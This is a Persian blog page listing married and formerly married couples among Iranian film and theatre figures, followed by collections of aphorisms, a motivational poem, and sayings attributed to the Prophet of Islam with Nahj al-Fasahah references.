تبليغاتX
جامع ترین وبلاگ فارسی
چه کسی می خواهد من و تو ما نشویم؟ خانه اش ویران باد....
 
اسامي زوج هاي هنري ايران

پژمان بازغي(بازيگر) ---- مستانه مهاجر (تدوينگر)

رخشان بني اعتماد (کارگردان) ---- جهانگير کوثري (تهيه‌کننده، مجري)

کمند اميرسليماني (بازيگر) ---- ورقا عامري (عکاس)

تهمينه ميلاني (کارگردان) ---- محمد نيک‌ بين (تهيه‌کننده)

لادن طباطبايي (بازيگر) ---- سعيد تهراني(بازيگر، تهيه‌کننده)

مهناز افضلي (بازيگر) ---- حسن پورشيرازي(بازيگر)

حميد سمندريان (کارگردان) ---- هما روستا (بازيگر)

بهزاد فراهاني (بازيگر)---- فهميه رحيم‌ نيا (نويسنده)

افسر اسدي (بازيگر) ---- اصغر همت (بازيگر)

محمد رحمانيان (کارگردان) ---- مهتاب نصيرپور (بازيگر)

امين تارخ (بازيگر) ---- منصوره شادمنش (نويسنده)

مينا جعفرزاده (بازيگر)---- بهمن زرين‌پور (کارگردان)

جمشيد آهنگراني(نويسنده)---- منيژه حکمت (کارگردان)

حسن جوهرچي (بازيگر) ---- مهناز بيات (منشي صحنه)

لادن مستوفي (بازيگر ) ---- شهرام اسدي (کارگردان)

الهام چرخنده (بازيگر) ---- فرشيد نوابي(بازيگر)

شاهرخ فروتنيان‌‌ (بازيگر) ---- افسانه چهره‌ آزاد (بازيگر)

آتيلا پسياني (بازيگر) ---- فاطمه نقوي (بازيگر)

کامبوزيا پرتويي (کارگردان) ---- فرشته صدرعرفاني(بازيگر)

مائده طهماسبي(بازيگر) ---- فرهاد آئيش (بازيگر)

داريوش مهرجويي(کارگردان) ---- وحيده محمدي ‌فر (فيلمنامه نويس و منشي صحنه)

نادر مقدس (کارگردان) ---- افسانه منادي(کارگردان)

محمود پاک نيت (بازيگر) ---- مهوش صبرکن (بازيگر)

محمدرضا شريفي نيا (بازيگر) ---- آزيتا حاجيان (بازيگر)

محسن قاضي ‌مرادي (بازيگر) ---- مهوش وقاري (بازيگر)

داود رشيدي (بازيگر) ---- احترام برومند (مجري، بازيگر)

بهروز افخمي (کارگردان) ---- مرجان شيرمحمدي(بازيگر، نويسنده)

بهاره رهنما (بازيگر) ---- پيمان قاسم‌ خاني(فيلمنامه‌نويس)

مهرداد شکرآبي(بازيگر) ---- عاطفه رضوي (بازيگر)

احمد حامد (تهيه‌کننده) ---- فاطمه معتمدآريا (بازيگر)

ابوالفضل جليلي (بازيگر) ---- مريم اشرفي (عکاس)

کتايون رياحي (بازيگر) ---- فرشيد رحيميان (مديرتوليد)

محمدرضا فروتن (بازيگر)---- سحر ابراهيمي (فيلمبردار پشت صحنه)

سارا خوئيني ها (بازيگر ) – سابق – يوسف مراديان (بازيگر)

محسن مخملباف (کارگردان) ---- مرضيه مشکيني(طراح صحنه، کارگردان)

شقايق دهقان (بازيگر) ---- محراب قاسم‌خاني (طراح صحنه، نويسنده)

علي دهکردي (بازيگر) –-- آفرين چيت ساز (طراح لباس)

محمد اصفهاني (خواننده) ---- ليدا جوادي (بازيگر)

رويا تيموريان (بازيگر) ---- مسعود رايگان (بازيگر)
 
زيبا بروفه (بازيگر) ---- پيام صابري (گريمور)

ليلا حاتمي (بازيگر) ---- علي مصفا (بازيگر)

گلاب آدينه (بازيگر) ---- مهدي هاشمي (بازيگر)

داريوش فرهنگ (بازيگر) – سابق – سوسن تسليمي (بازيگر)

سيما تيرانداز (بازيگر) ---- مجيد جوزاني(تهيه کننده)

ليلي رشيدي (بازيگر) – سابق – نيما بانکي (بازيگر)

امين حيايي (بازيگر) ---- نيلوفر خوش خلق (بازيگر)

ابوالفضل پور عرب (بازيگر) – سابق – آناهيتا نعمتي (بازيگر)

حسين عرفاني (دوبلر) --- شهلا ناظريان‌ (دوبلر)

کوروش تهامي (بازيگر) – سابق – شبنم طلوعي (بازيگر)

گوهر خيرانديش (بازيگر) ----- مرحوم جمشيد اسماعيل خاني (بازيگر)

سحر ولدبيگي (بازيگر) ---- نيما فلاح (بازيگر)

فريبرز عرب ‌نيا (بازيگر) – سابق – عسل بديعي(بازيگر)

افسانه بايگان (بازيگر) ---- مرتضي شايسته (تهيه‌کننده)

امير جعفري (بازيگر) ---- ريما رامين‌ فر (فيلمنامه نويس)

خسرو شکيبايي(بازيگر) – سابق – تانيا جوهري (بازيگر)

رضا رشيدپور (مجري) ---- نغمه مهرپاک (مجري)

مهتاب کرامتي (بازيگر‌) – سابق – بابک رياحي پور (گيتاريست)

حميرا رياضي (بازيگر) ---- علي اوسيوند (بازيگر)

گلشيفته فراهاني‌ (بازيگر) ---- امين مهدوي (عکاس)

هديه تهراني(بازيگر) – سابق – هومن به‌ منش (دستيار فيلمبردار)

کاوه يغمايي (خواننده) ---- نيلوفر فرزند شاد (پيانيست)

مسعود کيميايي (کارگردان) – سابق – فائقه آتشين (خواننده)

جمشيد مشايخي (بازيگر) ---- گيتي رئوفي (آشنا به هنر موسيقي)

اميد زندگاني‌ (بازيگر) – سابق – مينا لاکاني (بازيگر)

بهرام بيضايي (کارگردان) ---- مژده شمسايي (بازيگر)

عليرضا عصار (خواننده) ---- نسترن پاکباز (عکاس)

بهروز بقائي (بازيگر) – سابق – پرستو گلستاني (بازيگر)

پانته‌آ بهرام(بازيگر) ---- سيامك احصايي(طراح صحنه و لباس)

محمد يعقوبي(كارگردان تئاتر)---- آيدا كيخايي(بازيگر)

رويا نونهالي(بازيگر) --- رامين حيدري فاروقي(مستندساز)

نغمه ثميني(فيلم‌نامه نويس و نمايش‌نامه نويس)----- پيام فروتن(طراح صحنه و لباس)

غزل شاكري(بازيگر)---- علي زارع(عكاس)

محمد صالح‌ اعلا(بازيگر ، نويسنده و كارگردان)---- شورانگيز طباطبايي(بازيگر)

بهنوش بختياري(بازيگر) ---- سابق معراج محمدي (خواننده)
  

+ نوشته شده در  شنبه 22 تیر1387ساعت 23:15  توسط سید حسین محمدی | 
آنکه به خرد توانا شد ، ترس برايش نامفهوم است . اُرد بزرگ

برتري هميشه منفور بوده است ، و هنگاميکه برتر از همه اي بيشتر منفوري .گراسيان

تکبر زائيده قدرت مادي است و تواضع زاييده ضعف معنوي . فردريش نيچه

آدمهاي ماندگار به چيزي جز آرمان نمي انديشند .  اُرد بزرگ

قدرزمان حال را بدانيد كه گذشته بر نمي گردد و آينده شايد نيايد. گاليله

چون دل راست انديش و زبان راستگو باشد در کاستي و نادرستي بسته مي شود . بزرگمهر

     اگر به سخني که گفته ايد با تمام وجود پايبند هستيد، ديگر نيازي نيست براي آن پوزش بخواهيد .  اُرد بزرگ

آنکه از دشمن داشتن مي ترسد ، هرگز دوست واقعي نخواهد داشت . هزلت

شايد بتوانيد دست و پاي مرا به غل و زنجير کشيد و يا مرا به زنداني تاريک بيافکنيد ولي افکار مرا که آزاد است نمي توانيد به اسارت در آوريد.  جبران خليل جبران

بعضي ها طوري هستند که دوستانشان هرقدر از آنها پايين تر باشند بيشتر دوستشان دارند . چترفيلد

آنکه از دست روزگار به خشم مي آيد ، هر آنچه آموخته بيهوده بوده است .گريستن

در دنيا جاي كافي براي همه هست پس بجاي اينكه جاي كسي را بگيري سعي كن جاي خودت را پيدا كني.چارلي چاپلين

تا چيزي از دست ندهي چيز ديگري بدست نخواهي آورد اين يک هنجار هميشگي است . اُرد بزرگ

بسياري از چيزهاي را که مي خواهيم داشته باشيم مي توانيم با نشان دادن توانمندي خويش به آساني بدست آوريم . اُرد بزرگ

انسان بايد والاترين آرمانهايش را دنبال کرده و هرلحظه به آنها عمل کند، چرا که آنچه شخص اينک انجام مي دهد بازگشتي مکرر در سراسر ابديت خواهد داشت. فردريش نيچه

خود را براي پيشرفت مردم ارزاني دار تا مردم پشتيبان تو باشند . اُرد بزرگ

خوشبين اظهار ميدادر که ما در بهترين دنياي ممکنه به سر مي بريم و بدبين بيمناک است که نکند سخن او راست باشد .برانچ کامل

از خصوصيات زمان ما اين است که متأسفانه فقط افراد پست و پليد ، صاحب اراده و پشتکار مي باشند . آلفرد کاپو

 

 

وضع و حال مردمان تنگ فکر به وضع و حال بطريهاي تنگ دهن مي ماند ، هرچه کمتر در خود داشته باشند با سر و صداي بيشتري آن را به خارج مي ريزند . پوپ

ما ندرتاً دربار? آنچه که داريم فکر مي کنيم ، درحاليکه پيوسته در انديش? چيزهايي هستيم که نداريم . شوپنهاور

آرزومند آن مباش که چيزي غير از آنچه هستي باشي، بکوش که کمال آنچه هستي باشي . دي سلز

کمي عقل سليم، اندکي اغماض و قدري خوش خلقي داشته باشيد، آن وقت خواهيد ديد در اين دنيا چقدر آسوده و خوشبخت ايد. سامرست موام

نفرت همان خشم و غضب است که روي هم انباشته شده است . سيسرون

هرگز نمي توان با آدمهاي کوچک کارهاي بزرگ انجام داد. سيسرون

چه قدر نشنيدن ها و نشناختن ها و نفهميدنها که به اين مردم آسايش و خوشبختي بخشيده است. علي شريعتي

 

 

آنکه برنامه ها را از پايان به آغاز ، مورد گفتگو و ارزيابي قرار مي دهد بر راستي در حال سرپوش گذاري بر روي چيزي است . اُرد بزرگ

 

 

    
 

 سخنان زيبا 
زندگي واسه ما آدما مثل دفتر ??? برگه اولش خوش خط مينويسي و دوست داري به اخرش برسي وسطاش خسته ميشي بد خط مينويسي و هي برگه حروم ميکني اما اخرش که رسيد جا کم مياري حسرت ميخوري که چرا برگه هاشو حروم کردي

 

حواست رو جمع كن تا وقتي زنده ي نميري

 

وقتي قطار وارد تونل مي شود و همه جا تاريک مي شود شما بليط خود را به کناري نمي اندازيد و خود را به بيرون پرت نمي کنيد بلکه روي صندلي خود مي نشينيد و به مهندس سازنده اطمينان مي کنيد

 

خورشيد را باور دارم حتي اگر نتابد

به عشق ايمان دارم حتي اگر ان را حس نکنم

به خدا ايمان دارم حتي اگر سکوت کرده باشد...

(ديوار نوشته اي مربوط به ويرانه هاي جنگ جهاني)

 

وقتي برگهاي پاييز رو زير پات له ميکني به ياد داشته باش که روزي نفس به تو هديه ميکردند

 

دو خط موازي هرگز به يکديگر نميرسند مگر اين که يکي بشکند براي رسيدن به ديگري

 

از مهم ترين راه هاي صرفه جويي در زمان, استفاده از تجربه ديگران است.

آنچه وحشتناکه ارتفاع نيست افتادن از ارتفاعه   

 

مي دوني فلسفه اختراع سرسره براي بچه ها چيه؟
مي خوان از بچگي به ادم ياد بدن كه صعود چقدر سخت و سقوط چه اسونه

 

 

کودک را بايد طوري تربيت کرد که عادت کند به چيزي عادت نکند (ژان ژاک رسو)

اگر C=3 - B=2 - A=1 . . . . . . . . . . . . . . . . . . . . . . . . و بالاخره Z=26

آنوقت L O V E=54 و F R I E N D S H I P=108 و جالبه كه «دوستي» دو برابر «عشق» است!

 

اين قانون طبيعت است که هيچ کس به تنهايي نمي تواند خوشبخت باشد بلکه خوشبختي و سعادت را بايد در سعادت و خوشبختي ديگران جستجو کرد
ويليام شکسپير
 
  ثبت يک امتياز

ثبت دو امتياز

ثبت سه امتياز

ثبت چهار امتياز

ثبت پنج امتياز
 
 
 

حضرت علي (ع) مي‌فرمايد
آرام باش، توكل كن و آستين‌ها را بالابزن، خواهي ديد كه خداوند زودتر دست به كارشده

در دوره تحولات سريع ، سكون خطرناك ترين چيز است .

درهنگام تاريکي بجاي لعنت فرستادن به تاريکي شمعي بيافروزيد.

کاميابي تنها در ان است که بتواني زندگي را به شيوه خود سپري کني!!

انسان بودن،پاک بودن،مسئول بودن و در انديشه ي سرنوشت ديگران بودن وظيفه نباشد،بلکه صفت آدمي باشد

 

هفت چيز انسان را از پاي در مي آورد و هلاك ميسازد :1-سياست بدون شرف 2- لذت بدون وجدان 3- پول بدون كار 4-شناخت بدون ارزشها 5- تجارت بدون اخلاق 6- دانش بدون انسانيت 7- عبادت بدون فداكاري

امروز همان فرداييست كه ديروز منتظرش بودم!

آنگاه که به سوي روياهايت بال ميگشايي چه اهميت دارد که آنها چگونه اند

از رسيدن است که مي بالي

از کوشيدن است که مي آموزي

و از رفتن است که پيروز باز مي گردي

"لين پارسونز"

آنچه جذاب است سهولت نيست، دشواري هم نيست، بلكه دشواري رسيدن به سهولت است


• سخت كوشي هرگز كسي را نكشته است، نگراني از آن است كه انسان را از بين مي برد


• اگر همان كاري را انجام دهيد كه هميشه انجام مي داديد، همان نتيجه اي را مي گيريد كه هميشه مي گرفتيد


افراد موفق كارهاي متفاوت انجام نمي دهند، بلكه كارها را بگونه اي متفاوت انجام مي دهند


• پيش از آنكه پاسخي بدهي با يك نفر مشورت كن ولي پيش از آنكه تصميم بگيري با چند نفر


• كار بزرگ وجود ندارد، به شرطي كه آن را به كارهاي كوچكتر تقسيم كنيم


• انسان همان مي شود كه اغلب به آن فكر مي كند


• تنها راهي كه به شكست مي انجامد، تلاش نكردن است


• دشوارترين قدم، همان قدم اول است


• آفتاب به گياهي حرارت مي دهد كه سر از خاك بيرون آورده باشد


• وقتي زندگي چيز زيادي به شما نمي دهد، بخاطر اين است كه شما چيز زيادي از آن نخواسته ايد


• در انديشه آنچه كرده اي مباش، در انديشه آنچه نكرده اي باش


• امروز، اولين روز از بقية عمر شماست


• براي كسي كه آهسته و پيوسته مي رود، هيچ راهي دور نيست


• اميد، درماني است كه شفا نمي دهد، ولي كمك مي كند تا درد را تحمل كنيم


• بجاي آنكه به تاريكي لعنت فرستيد، يك شمع روشن كنيد


• آنچه شما درباره خود فكرمي كنيد، بسيار مهمتر از انديشه هايي است كه ديگران درباره شما دارند


• هركس، آنچه را كه دلش خواست بگويد، آنچه را كه دلش نمي خواهد مي شنود


• اگر هرروز راهت را عوض كني، هرگز به مقصد نخواهي رسيد


• صاحب اراده، فقط پيش مرگ زانو مي زند، وآن هم در تمام عمر، بيش از يك مرتبه نيست


• وقتي شخصي گمان كرد كه ديگر احتياجي به پيشرفت ندارد، بايد تابوت خود را آماده كند

 

• كسي كه در آفتاب زحمت كشيده، حق دارد در سايه استراحت كند


• بهتر است دوباره سئوال كني، تا اينكه يكبار راه را اشتباه بروي


• آنقدر شكست خوردن را تجربه كنيد تا راه شكست دادن را بياموزيد


• اگر خود را براي آينده آماده نسازيد، بزودي متوجه خواهيد شد كه متعلق به گذشته هستيد


• خودتان را به زحمت نيندازيد كه از معاصران يا پيشينيان بهتر گرديد، سعي كنيد از خودتان بهتر شويد


• خداوند به هر پرنده‌اي دانه‌اي مي‌دهد، ولي آن را داخل لانه‌اش نمي‌اندازد


• درباره درخت، بر اساس ميوه‌اش قضاوت كنيد، نه بر اساس برگهايش


• انسان هيچ وقت بيشتر از آن موقع خود را گول نمي‌زند كه خيال مي‌كند ديگران را فريب داده است


• كسي كه دو بار از روي يك سنگ بلغزد، شايسته است كه هر دو پايش بشكند


• هركه با بدان نشيند، اگر طبيعت ايشان را هم نگيرد، به طريقت ايشان متهم گردد


• كسي كه به اميد شانس نشسته باشد، سالها قبل مرده است


• اگر جلوي اشتباهات خود را نگيريد، آنها جلوي شما را خواهند گرفت


• اينكه ما گمان مي‌كنيم بعضي چيزها محال است، بيشتر براي آن است كه براي خود عذري آورده باشيم

 

آنکس که بداند، و بداند که بداند ، اسب شعف از گنبد گردون برهاند … آنکس که بداند و نداند که بداند ، بيدار کنيدش که شبي خفته نماند … آنکس که نداند و بداند که نداند ، لنگان خرک خويش به منزل برساند … آنکس که نداند و نداند که نداند ، در جهل مرکب ابدالدهر بماند .

 

يک دروغ ممکن است دنيا را دور بزند و به سر جاي اولش برگردد؛ ولي در همين مدت يک راست هنوز دارد بند کفش‌هاي خود را مي‌بندد تا حرکت کند. مارک تواين

هيچ کس براي شکست خوردن نقشه نميکشد بلکه اين نقشه است که اگر اشتباه کشيده شود به شکست ميانجامد

 

زندگي گره اي نيست که در جست و جوي گشودن آن باشيم. زندگي واقيتي است که بايد آن را تجربه کرد

 

گفتار حضرت علي (ع)
گروهي خدا را به خاطر خواسته بندگي مي‌كنند
اين عبادت بازرگانان است.
گروهي از روي ترس خدا را بندگي مي‌كنند
اين عبادت غلامان است.
گروهي هم از روي شكر و سپاس خدا را بندگي مي‌كنند
اين عبادت آزادگان است

بازنده ها در هرجوابي مشکلي را مي بينند ولي برنده ها در هر مشکلي جوابي را مي بينند . سعي کنيد مثل برنده ها فکر کنيد..
 
  
 

استوار ماندن و زير هر باري نرفتن ، دين من است.

 

اگر پياده هم شده است سفر کن ، در ماندن مي پوسي.

 

آدمي اگر فقط بخواهد خوشبخت باشد به زودي موفق ميگردد ولي او مي خواهد خوشبخت تر از ديگران باشد و اين مشکل است زيرا او ديگران را خوشبخت تر از انچه هستند تصور ميکند.

 

مردم اغلب تنهايند زيرا به جاي پل ديوار ميسازند.

 

آن کسي که از رنج زندگي بترسد، از ترس، در رنج خواهد بود.

 

چه قدر نشنيدن ها و نشناختن ها و نفهميدنها که به اين مردم آسايش و خوشبختي بخشيده است

من دريافته ام که انساني هر اندازه که مصمم به خوشبخت زيستن باشد همان اندازه خوشبخت و سعادتمند زندگي خواهد کرد.(ابراهام لينکلن)

 

من واقعاً فرمول دقيقي براي موفقيت نميشناسم ولي فرمول شكست را به خوبي ميدانم " سعي كنيد همه را راضي نگه داريد "

 

چقدر عجيبه : تا وقتي مريض نباشي کسي برات گل نمياره تا فرياد نزني کسي به سويت باز نميگرده تا گريه نکني کسي نوازشت نميکنه تا قصد رفتن نکني کسي به ديدنت نمياد و تا وقتي که نميري کسي تو رو نميبخشه

 

اين روزها ، انسان قيمت همه چيز را مي داند ، ولي ارزش هيچ چيز را نمي داند .


اسکار وايلد

 

مهم اين نيست که در کجاي اين جهان ايستاده ايم، مهم اين است که در چه مسيري گام بر مي داريم.

 

 

ديو کين و ديو سخن چيني گزنده است . سخن چين هرگز جز به دروغ لب نمي گشايد . گفتارش هميشه بي فروغ است .دو روي و سخن چين از مهر يزدان بي بهره اند و از او در هراسند

 

هيچ وقت براي لذت بردن از زندگي و براي عوض شدن دير نيست.

بزرگترين آزادي بشر ، توانايي تصميم گيري و انتخاب نگرش هاي خويشتن است.

محروميت،استعدادهايي را شکوفا مي سازد که در خوشي پوشيده مي مانند.

اغلب مردم به همان اندازه شاد هستند که ذهن خود را براي آن مهيا کرده اند.

اغلب مشکلات در واقع ناشي از فقدان فکري است.

نبرد هاي زندگي هميشه به نفع قوي ترين ها يا سريع ترين ها پايان نمي پذيرد بلکه دير يا زود ازآن کسي است که بردن را باور دارد.

برخي از انسانها هر چيز را همان گونه که هست،مي بينند و مي پرسند:چرا ديگران روياهاي چيزي را در سر مي پرورند که هرگز نبوده و مي گويند:چرا که نه!!!

يکي از مهمترين مهارت ها در آرام بودن،فکر نکردن به مسائل کوچک است.دومين مهارت کوچک شمردن تمام مسائل است.

لازم نيست هر کاري را که انجام مي دهيد با موفقيت همرا ه باشد. بعضي ها با چشم پوشي از موفقيت، آرامش خود را حفظ مي کنند.

امکان تغيير در زندگي هست.ديگران اين کار را کرده اند.

آنتوني راببنز مي گويد:((از زندگي خود يک شاهکار بسازيم))

 

انسان عاشق هرگز ناسزا نميگويد
« افلاطون»

تنبلي از هر نوع بيماري مسري تر است
« گاندي

 

هميشه دو درس را در زندگي خود به ياد داشته باشيد:

1- جسارت در بيان عقيده
2- جرأت در پذيرش اشتباه

 

شادماني عبارت است از نشو و نمو دادن عاليترين صفات و خصائص انساني
« ارسطو»

بالاترين اعتمادها اعتماد به نفس است « آدام اسميت »

دنيا از آن کسي است که براي تصاحب آن با خوش خلقي و ثبات قدم گام برميدارد. « چارلز ديکنز »

 

سه جمله ي زيبا : 1) اگر اولش به فکر آخرش نباشي آخرش به فکر اولش مي افتي . 2) لذتي که در فراغ هست در وصال نيست چون در فراغ شوق وصال هست و در وصال بيم فراغ . 3) آغاز کسي باش که پايان تو باشد

 

باورهاي توانمندانه تو را قوي مي کند. امروز سه باور توانمندانه، که تاثيري مثبت روي رفتارت دارد، انتخاب و روي آنها تمرکز کن.
کيث هرل

 

خوشبختي، شکل ظاهري ايمان است. تا ايمان، اميد و سخت کوشي نباشد، هيج کاري نمي توان انجام داد.

 


براي آغاز هر تحول در خود، ابتدا منبع توليد ترس و نفرت را در وجود خود شناسايي و ريشه كن كنيد.

 

خلاقيت، شكافتن بن بستها و دست دادن با فرداست تورانس

 

 
   
 

 خويش را باور کن 
هيچ کس جز تو نخواهد آمد

                           هيچ کس بردراين خانه نخواهد کوبيد

                                                            شعله روشن اين خانه تو بايد باشي

                                                                                              هيچ کس جز تو نخواهد تابيد

چشمه جاري اين دشت تو بايد باشي

                                   هيچکس جز تو نخواهد جوشيد

                                                                سرو آزاده اين باغ تو بايد باشي

                                                                                              هيچ کس چون تو نخواهد روييد

بازکن پنجره صبح آمده است

                            در اين خانه خلوت بگشاي                     باز هم منتظري؟

هيچ کس بر در اين اين خانه نخواهد کوبيد

                                                                            و نمي گويد برخيز که صبح است بهار آمده است

خانه خلوت تر از آن است که مي پنداري

                             سايه سنگين تراز آن است که مي پنداري

                        داغ , ديرين تر از آن است که مي پنداري

                                                                                 باغ غمگين تر از آن است که مي پنداري

ريشه ها مي گويند ما تواناتر از آنيم که مي پنداري

هيچ کس جز تو نخواهد آمد

                          هيچ بذري بي تو

                                           روي اين خاک نخواهد پاشيد       

                                                                          خرمني کوت نخواهد گرديد

هر کجا چرخي بي چرخش تو        

                        هر کجا چرخي بي چالش و بي خواهش تو

                                                              بي توانايي انديشه و عزم تو نخواهد چرخيد

 اسب انديشه خود را زين کن                   تک سوار سحر جاده تو بايد باشي

و خدا مي داند

                  که خدا ميخواهد تو "خودآ" يي باشي       بر پهنه خاک

 

نازنين

       داس بي دسته ما

                             سال ها خوشه نارسته بذري را برمي چيند

                                                                                  که به دست پدران ما بر خاک نريخت

کودکان فردا

خرمن کشته امروز تو را مي جويند

                                        خواب و خاموشي امروز تو را

                                                            در حضور تاريخ ،درنگاه فردا

                                                                                   هيچ کس بر تو نخواهد بخشيد

باز هم منتظري؟

             هيچ کس بر در اين خانه نخواهد کوبيد

                                            و نمي گويد برخيز که صبح است بهار آمده است

                  

                      تو بهاري آري                    خويش را باور کن


   
 

 سخنان پيامبر اسلام(قسمت 2) 
ü      از اهمال و سستي بپرهيز که تو براي امروز زنده اي نه براي فردا .اگر فردايي بود فردا نيز مثل امروز باش واگر فردايي نبود از اهمال و سستي امروز پشيمان نخواهي بود( نهج الفصاحة جمله 1006)

ü      از لجاجت بپرهيز که آغازش جهالت است و پايانش پشيماني( نهج الفصاحة جمله 1008)

ü      از دو صفت بپرهيز :  افسردگي و تنبلي که اگر افسرده باشي حق را تحمل نکني و اگر تنبل باشي از اداي حق باز ماني( نهج الفصاحة جمله 1000)

ü      از همنشيني دروغگو بپرهيز زيرا دروغگو چون سراب است دور رانزديک ونزديک را دور مينماياند( نهج الفصاحة جمله 1014)

ü      ميانه روي در خرج زندگي يک نيمه از معيشت است و دوستي با مردم يک نيمه عقل است و خوب پرسيدن يک نيمه دانش است               ( نهج الفصاحة جمله 1057)

ü      امنيت و سلامت دو نعمت است که بسياري از مردم در آن مغبونند( نهج الفصاحة جمله 1063)

ü      نيکي آنست که دل بدان آرام گيرد و روح از آن اطمينان يابد و بدي آنست که بر دل ننشيند و دوست نداشته باشي که مردم از آن خبردار شوند ديگران هرچه ميخواهند بگويند( نهج الفصاحة جمله 1107)

ü      در موقع آسايش خدا را ياد کنيد تا در موقع سختي تو را بشناسد( نهج الفصاحة جمله 1158)

ü      هرچه ميخواهيد بياموزيد زيرا خداوند شما را از علم بهره مند نکند مگر آنکه هر چه را که ميدانيد بکار بنديد( نهج الفصاحة جمله 1161)

ü      در کار دانش يارهمديگر باشيد و دانش خود را از يکديگر پوشيده مداريد که خيانت در علم بدتر از خيانت در مال است( نهج الفصاحة جمله 1178)

ü      هديه به يکديگر بدهيد تا رشته محبتتان استوار گردد زيرا هديه محبت را بيافزايد وکينه را از ميان بردارد( نهج الفصاحة جمله1189)

ü      با هوسهاي خود مبارزه کنيد تا بر نفس خود تسلط يابيد( نهج الفصاحة جمله 1302)

ü      انتظار ستايش از مردم چشم را کور و گوش را کر ميکند( نهج الفصاحة جمله 1341)

ü      من از دنياي شما دو چيز را دوست دارم , زن و عطر و روشني چشم من در نماز است( نهج الفصاحة جمله 1343)

ü      در ناداني تو همينقدر بس که هرچه داني آشکار کني( نهج الفصاحة جمله 1367)

ü      دور انديشي بد گمان بودن است( نهج الفصاحة جمله 1408)

ü      بهترين کارها آنست که به اعتدال نزديکتر باشد( نهج الفصاحة جمله 1481)

ü      دين مرد عقل اوست و هرکه عقل ندارد دين ندارد( نهج الفصاحة جمله 1581)

ü      کمال دين خيرخواهي است( نهج الفصاحة جمله 1608)

ü      بسيارند کساني که حامل دانشند اما دانا نيستند هرکه علمش سود ندهد جهلش زيانش رساند( نهج الفصاحة جمله 1644)

ü      دلها را ساعت به ساعت استراحت دهيد( نهج الفصاحة جمله 1677)

ü      يکساعت مقت دانشجويي که بر بستر خويش تکيه زده در علم خويش مي نگرد از هفتاد سال عبادت عابد نيکوتر است( نهج الفصاحة جمله 1724)

ü      سفر کنيد تا تندرست شويد و روزي يابيد( نهج الفصاحة جمله 1726 )

ü      آرامش غنيمتي است و ترک آن خسارت( نهج الفصاحة جمله  1767)

ü      ميان دو عمل بسيار فرق است: عملي که لذت آن برود وعواقب آن بماند وعملي که زحمت آن برود و پاداش آن بماند( نهج الفصاحة جمله 1793)

ü      خدا راستگوست پس با او روراست باش(نهج الفصاحة جمله1832 )

ü      خواب صبحگاهان مانع روزي است(نهج الفصاحة جمله 1857)

ü      خاموشي والاترين عبادت هاست(نهج الفصاحة جمله1880 )

 


   
 

 سخنان پيامبر اسلام 
 

 

 


ابتدا ميخواهم جملات قصار را با سخناني از پيامبر اسلام(صلي الله عليه وآله) آغاز کنم زيرا که« گفتار محمد از گفتار آسماني فروتر واز گفتار انساني فراتر است»:


ü      سرکشي آفت شجاعت است.به خود نازيدن آفت شرافت است.منت آفت جوانمردي است.خودپسندي آفت جمال است.دروغ آفت سخن است.فراموشي آفت دانش است.بيخردي آفت بردباري است.اسراف آفت بخشش است. هوس آفت دين است.( نهج الفصاحة جمله 1)

 

ü      محبوبترين کارها در نزد خدا کاريست که دوام آن بيشتر است گرچه اندک باشد(نهج الفصاحة جمله73)

ü      برچهره چاپلوسان خاک بپاشيد.( نهج الفصاحة جمله 91)

ü      مردم را از معاشرانشان بشنايسد زيرا هم جنس با هم جنس پرواز ميکند( نهج الفصاحة جمله 106)                            

ü      برامت خويش بيشتراز هرچيزازشکم پرستي وپرخوابي وبيکارگي وبي ايماني بيمناکم(جمله 109)

ü      ايمان خود را خالص کن تااندکي عبادت تو را کفايت کند( نهج الفصاحة جمله 110)

ü      خدا رابخوانيد و به اجابت دعاي خويش يقين داشته باشيد وبدانيد که خداوند دعا را از قلب غافل بيخبر نميپذيرد( نهج الفصاحة جمله 116)

ü      اگر خداوند چيزي به تو داد بايد نشان نعمت وکرم وي در تو پديدار شود( نهج الفصاحة جمله 128)

ü      وقتي کسي که اخلاق ودين وي مايه رضايت است  ;بخواستگاري مي آيد بوي زن بدهيدواگر چنين نکنيد فتنه وفساد در زمين فراوان خواهد شد( نهج الفصاحة جمله 130)

ü      وقتي کس آشناي خود را دوست دارد او را آگاه سازد که اين کار موجب باقي ماندن دوستي ودوام محبت است( نهج الفصاحة جمله 140)

ü      هر کس کاري ميکند بايد آنرا خوب انجام دهد( نهج الفصاحة جمله 221)

ü      خوارترين انسان کسي است که مردم را خوارشمارد( نهج الفصاحة جمله 250)

ü      وقتي کار به نهايت سختي رسيد راه چاره پيدا ميشود( نهج الفصاحة جمله 296)

ü      ميان مردم را به اصلاح آوريد اگرچه با دروغ باشد( نهج الفصاحة جمله 318)

ü      دانش را بجوييد اگرچه در چين باشد ( نهج الفصاحة جمله 324)

ü      خدا را چنان پرستش کن که گويي او را ميبيني اگرتو او را نمي بيني بدان که او تو را ميبيند( نهج الفصاحة جمله 335)

ü      عاقلتر از همه مدرم کسي است که با مردم بيشتر صلح ونرمي کند( نهج الفصاحة جمله 358)

ü      زانوي شتر را ببند وتوکل کن( نهج الفصاحة جمله 359)

ü      دانشمند ترين مردم کسي است که دانش ديگران را به آگاهي خود بيفزايد( نهج الفصاحة جمله 360)

ü      بدانکه پيروزي همراه صبر است و کشايش هراه رنج وبدنبال سختي آساني است( نهج الفصاحة جمله 363)

ü      چنان کار کن که گويي هيچ وقت نخواهي مرد و چنان بيمناک باش که گويي فردا خواهي مرد( نهج الفصاحة جمله 367)

ü      کارها وابسته به نيت است( نهج الفصاحة جمله 369)

ü      دانشمند باش يا دانش آموز يا مستمع يا دوستدار علم و پنجمي مباش که هلاک خواهي شد( نهج الفصاحة جمله 375)

ü      غافلتر از همه مردم کسي است که از تغيير احوال جهان پند نگيرد( نهج الفصاحة جمله 379)

ü      بي نيازترين افراد کسي است که اسير طمع نباشد( نهج الفصاحة جمله 380)

ü      بهترين کارها پس از ايمان به خدا دوستي با مردم است( نهج الفصاحة جمله 387)

ü      لذت حسود از همه کس کمتر است( نهج الفصاحة جمله 430)

ü      بقدر توانايي خود عبادت کنيد زيرا وقتي شما ملول شديد خدا نيز ملول ميشود  ,در نظر خدا بهترين کارها آنست که بادوامتر است اگرچه اندک باشد( نهج الفصاحة جمله 453)

ü      تفريح کنيد وبازي کنيد زيرا دوست ندارم که در دين شما خشونتي ديده شود( نهج الفصاحة جمله 531)

ü      راهي ميان افراط و تفريط است و بهترين کارها ميانه رويست( نهج الفصاحة جمله 541)

ü      القاي خير از خاموشي بهتر و خاموشي از القاي شر بهتر است( نهج الفصاحة جمله 549)

ü      هرکه تورا سرزنش کرد از کينه خود درامان ساخته است( نهج الفصاحة جمله 550)

